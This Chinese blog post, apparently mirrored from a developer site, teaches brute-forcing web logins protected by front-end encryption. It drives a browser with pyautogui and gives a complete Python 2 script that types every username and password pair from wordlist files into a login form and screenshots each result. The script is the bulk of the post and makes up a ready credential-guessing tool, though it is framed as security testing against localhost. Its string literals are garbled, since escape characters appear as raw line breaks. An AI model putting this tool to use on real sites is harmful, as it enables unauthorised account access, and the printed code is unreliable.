zoukankan      html  css  js  c++  java
  • 会python真的可以为所欲为——爆破前端加密登录

    关注公众号:Python爬虫数据分析挖掘,回复【开源源码】免费获取更多开源项目源码

    做安全测试的时候经常会遇到前端登录数据包加密,又懒得去分析js看加密算法,特别一些做了混淆的,分析起来那叫一个恶心……
    逼的我又拿起了python,开始一顿操作

    python真的能为所欲为

    基础知识

    这次要用到的是一个叫pyautogui的库,在python2的环境下安装很简单

    python -m pip install pyautogui
    

    然后在命令行测试一下是否能引用

    image.png


    没毛病,接下来简单介绍一下pyautogui
    简单来说,这个库可以用来模拟鼠标、键盘操作
    我们要用到的有

    获取当前鼠标位置

    pyautogui.position()
    

    鼠标左击

    pyautogui.click(x=123, y=456)
    

    鼠标双击(按两下左键)

    pyautogui.doubleClick(x=123, y=456)
    

    鼠标左键按下

    pyautogui.mouseDown(x=123, y=456)
    

    鼠标左键松起

    pyautogui.mouseUp(x=123, y=456)
    

    键盘写入文本

    pyautogui.typewrite('http://www.baidu.com
    ')
    # 这里的 '
    '是换行,其他特殊按键请自行查找手册
    

    截屏

    pyautogui.screenshot('log/test.png')
    

    每次操作间隔时间

    pyautogui.PAUSE = 0.2  #单位 秒
    

    差不多了,这些基本够我们用了,接下来开始造轮子

    python大法好

    分析一波流程
    首先,我们在运行脚本的时候,肯定是命令行获取的焦点,而不是浏览器,所以第一步就需要打开浏览器,为了方便可以提前打开一个,通过点击底部任务栏来切换到浏览器

    image.png

    然后每次先输入地址,然后输入用户名,输入密码,点击登录按钮

    输入地址,可以在浏览器地址栏右侧按下左键,然后移动到地址栏最左侧,然后再输入文本,带上' '就可以转到指定的页面了

    输入用户名,这块可根据具体页面的文本框采用单击或双击的办法清空或选中用户名栏的文本

    输入密码,同用户名

    点击登录,鼠标移动到登录按钮然后左击

    等待http响应后(自己根据网络速度估摸一个大致时间),截屏到指定目录

    如此循环

    代码如下:

    #!/usr/bin/python2
    import pyautogui as pag
    import time
    
    pag.PAUSE = 0.2
    
    def clearChar(chars):
        reStr = ['
    ','
    ','	',' ']
    
        for reS in reStr:
            chars = chars.replace(reS, '')
    
        return chars
    
    class Point:
        x = 0
        y = 0
    
        def __init__(self, x, y):
            self.x = x
            self.y = y
    
    def autoCrack(username, password):
        global userBox
        global passBox
        global submitBtn
        global urlBoxRight
        global urlBoxLeft
    
        global loginUrl
    
        pag.mouseDown(urlBoxRight.x, urlBoxRight.y)
        pag.mouseUp(urlBoxLeft.x, urlBoxLeft.y)
    
        pag.typewrite(loginUrl+'
    ')
    
        time.sleep(1)
    
        pag.click(userBox.x, userBox.y)
        pag.typewrite(username)
    
        pag.click(passBox.x, passBox.y)
        pag.typewrite(password)
    
        pag.click(submitBtn.x, submitBtn.y)
    
        time.sleep(3)
    
        pag.screenshot('log/{}_{}.png'.format(username, password))
        time.sleep(1)
    
    if __name__ == '__main__':
        # Point
        chromeIcon = Point(988, 1778)
        userBox = Point(2524, 600)
        passBox = Point(2530, 706)
        submitBtn = Point(2468, 852)
        urlBoxRight = Point(2052, 74)
        urlBoxLeft = Point(150, 68)
    
        loginUrl = 'http://127.0.0.1/login.php'
    
        userFile = 'user.txt'
        passFile = 'pass.txt'
    
        pUserFile = open(userFile, 'r')
        pPassFile = open(passFile, 'r')
    
        userList = pUserFile.readlines()
        passList = pPassFile.readlines()
    
        pUserFile.close()
        pPassFile.close()
    
        pag.click(chromeIcon.x, chromeIcon.y)
    
        for pwd in passList:
            pwd = clearChar(pwd)
    
            for user in userList:
                user = clearChar(user)
                autoCrack(user, pwd)
    

    看看实际效果

    耐得住寂寞,才能登得顶
    Gitee码云:https://gitee.com/lyc96/projects
  • 相关阅读:
    SQL中部分语法整理
    iOS获取设备唯一标识的8种方法
    动力节点Java培训告诉你Java线程的多功能用法
    Java编程中的美好
    Node.js process 模块常用属性和方法
    Android系统学习小记
    动力节点Java培训告诉你Java线程的多功能用法
    mybatis-java1234一
    一:luecne初体验
    Linux系统安装-系统分区
  • 原文地址:https://www.cnblogs.com/chenlove/p/14038635.html
Copyright © 2011-2022 走看看